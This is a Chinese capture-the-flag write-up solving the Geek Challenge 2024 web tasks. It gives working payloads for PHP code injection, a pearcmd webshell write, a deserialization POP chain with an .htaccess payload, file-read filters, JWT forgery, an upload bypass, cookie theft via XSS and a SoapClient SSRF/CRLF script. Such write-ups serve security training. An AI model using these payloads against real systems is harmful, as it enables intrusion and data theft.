第十五届极客大挑战CTFPlusweb方向week1,week2全解-三叶草安全技术小组
三叶草安全技术小组第十五届极客大挑战CTFPlusweb方向week1,week2全解 100%的⚪ 查看源代码 找alert就行了 base64解码一下 secretlnDrivingSchool 查看源代码发现L000G1n.php 发现后台登陆界面 尝试爆破账号和密码,密码为3个字母加@chengxing,发现长度不一样账号为admin的长度不一样,把账号设为admin继续爆破 选择集
三叶草安全技术小组第十五届极客大挑战CTFPlusweb方向week1,week2全解
100%的⚪
查看源代码
找alert就行了

base64解码一下
secretlnDrivingSchool
查看源代码发现L000G1n.php

发现后台登陆界面
尝试爆破账号和密码,密码为3个字母加@chengxing,发现长度不一样账号为admin的长度不一样,把账号设为admin继续爆破

选择集束炸弹字母爆破

发现密码为SYC@chengxing,在location下发现admin.php
别问我为什么没展示爆破界面,因为我爆破了好久才爆出来的,不想再爆第二遍了

发现广告修改这可以执行php命令
在最后插入
<?php
echo "ls /";
?>
和
<?php
echo "cat /f*";
?>

最后在网页下发现flag
rce_me
第一关数组绕过
start[]=start now
第二关先查看一下Geekchallenge2024_bmKtL的md5值,0e073277003087724660601042042394发现是0e,而且还是弱相等,那只要找到sha1也为0e开头的那
_[2024.geekchallenge.ctf=aaK1STfY
if (intval($year) < 2024 && intval($year + 1) > 2025)
year=2e4
2e4会被解析成2,2e4+1会被解析为2的十次方+1
最后这个直接数组绕过
purpose[]=rce
stripos遇到数组会返回flase
最后code=system('ls /');,code=system('cat /flag');
下面是完整的payload

ez_include
第一关
require_once包含过一次文件,下次不会包含相同的文件
参考文章:(https://www.anquanke.com/post/id/213235)
file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php

base64解码一下,发现/levelllll2.php
第二关考的是register_argc_argv
坑点:syc不能和file换位置,否则会文件名会变成cmd.php&syc=pearcmd.php,要用bp,<和>会被hackbarURL编码,导致命令执行不成功
这个payload为
/levelllll2.php?+config-create+/&syc=/tmp/cmd.php&file=/usr/local/lib/php/pearcmd&/<?=phpinfo();?>+/tmp/cmd.php
最后找到flag

ezpop
按照这个链子构造pop链
<?php
Class SYC{
public $starven;
}
Class lover{
public $J1rry;
public $meimeng;
}
Class Geek{
public $GSBP;
}
$a=new lover();
$b=new Geek();
$c=new lover();
$d=new Geek();
$e=new SYC();
$a->J1rry="data://text/plain,Welcome GeekChallenge 2024";
$a->meimeng=$b;
$b->GSBP=$c;
$c->meimeng=$d;
$d->GSBP=$e;
$e->starven="php://filter/string.strip_tags/?>php_value+auto_prepend_file+/flag%0a%23/resource=.htaccess";
echo (serialize($a));
?>
O:5:"lover":2:{s:5:"J1rry";s:44:"data://text/plain,Welcome GeekChallenge 2024";s:7:"meimeng";O:4:"Geek":1:{s:4:"GSBP";O:5:"lover":2:{s:5:"J1rry";N;s:7:"meimeng";O:4:"Geek":1:{s:4:"GSBP";O:3:"SYC":1:{s:7:"starven";s:91:"php://filter/string.strip_tags/?>php_value+auto_prepend_file+/flag%0a%23/resource=.htaccess";}}}}}
他这里有一个对meimeng的过滤,这时只要把一个字母十六进制编码,前面的s改大写
O:5:"lover":2:{s:5:"J1rry";s:44:"data://text/plain,Welcome GeekChallenge 2024";S:7:"\6deimeng";O:4:"Geek":1:{s:4:"GSBP";O:5:"lover":2:{s:5:"J1rry";N;S:7:"\6deimeng";O:4:"Geek":1:{s:4:"GSBP";O:3:"SYC":1:{s:7:"starven";s:91:"php://filter/string.strip_tags/?>php_value+auto_prepend_file+/flag%0a%23/resource=.htaccess";}}}}}
file_put_contents($this->starven,"<?php exit();".$this->starven);
这是一个file_put_contents($a,"<?php exit();".$b);的变式
参考文章:https://xz.aliyun.com/t/8163?time__1311=n4%2BxnD0Dc7GQ0%3DDCDgADlhjm57IPx0IEYU5m5%3Dx
最后这个%0a和%23为一个字符,把91改成87
O:5:"lover":2:{s:5:"J1rry";s:44:"data://text/plain,Welcome GeekChallenge 2024";S:7:"\6deimeng";O:4:"Geek":1:{s:4:"GSBP";O:5:"lover":2:{s:5:"J1rry";N;S:7:"\6deimeng";O:4:"Geek":1:{s:4:"GSBP";O:3:"SYC":1:{s:7:"starven";s:87:"php://filter/string.strip_tags/?>php_value+auto_prepend_file+/flag%0a%23/resource=.htaccess";}}}}}

Can_you_Pass_Me
直接焚靖
发现可以ls /有flag,但是cat /flag没有东西,所以使用进行base64编码输出

解码直接得到flag
ez_http
第一关需要我们用get方法上传一个welcome并且
welcome=geekchallenge2024
第二关需要用post方法上传
username=Starven&password=qwert123456
第三关
bp抓包,把Referer改成https://www.sycsec.com
第四关,改本地就行了

第五关

加上Starven:I_Want_Flag
第六关
一眼jwt伪造

把false改为true,再加对称密钥(源代码里有)

baby_upload
方法一个一个试,发现1.jpg.php可以绕过


Problem_On_My_Web
考点:xss+ssrf
通过他给的提示,flag应该在cookie里
发现LoveWall可以添加东西,应该考的是xss之cookie外带

发现报错,访问本地就可以看到错误,就可以看到cookie

ez_SSRF
考点:SoapClient原生类的反序列化造成的ssrf+crlf
dirsearch扫一下发现www.zip

在calculator.php发现危险代码eval,而且把执行后的返回值用result文件存储起来
但是有一个代码if($_SERVER['REMOTE_ADDR']!=="127.0.0.1")使其访问服务器的请求必须来自于本地机器
但是又有一个h4d333333.php的php文件可以用原生类SoapClient去访问calculator.php
而且SoapClient的user_agent可以控制,使这道题有ssrf漏洞
这时就要自己写代码了
<?php
$post_string = "expression=1";
$c='fewOo^^Authorization:Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0^^'.'Content-Length: '.(string)strlen($post_string).'^^'.'Content-Type: application/x-www-form-urlencoded'.'^^^^'.$post_string.'^^';
$aaa = str_replace('^^',"\r\n",$c);
//cho $aaa.' ';
echo ($aaa);
echo urlencode($aaa);
我们来分析一下我这段代码,首先按照要求给user_agent随便赋一个值,然后^^会被str_replace函数替换成换行符,Authorization用来上传username和password,格式为aaaaaaaaaaaadmin:i_want_to_getI00_inMyT3st而且要用base64编码,因为在calculator.php中有base64_decode解码,还有explode函数以":"为界分别赋给username和password来伪造管理员身份,content-Length表示post传参的长度为12,content-Type会让浏览器按照url编码表单数据,并通过HTTP请求发送给服务器,最后post传参expression=1,要用2个以上的换行符区分,这些东西就想burpsuite捉包的数据一样,最后url编码用来上传不可见字符如换行
这时用将结果传给h4d333333.php中的user,并且location=http://127.0.0.1/calculator.php
注意:要用burpsuite传参,因为hackbar会自动编码
这时就可以通过修改expression的值来执行命令了,返回结果可以通过/result来查看
在运行cat /f*可以看到rm -f /flag.sh,应该是有限制
所以直接cat /f* > 1.txt直接读取1.txt就可以得到flag
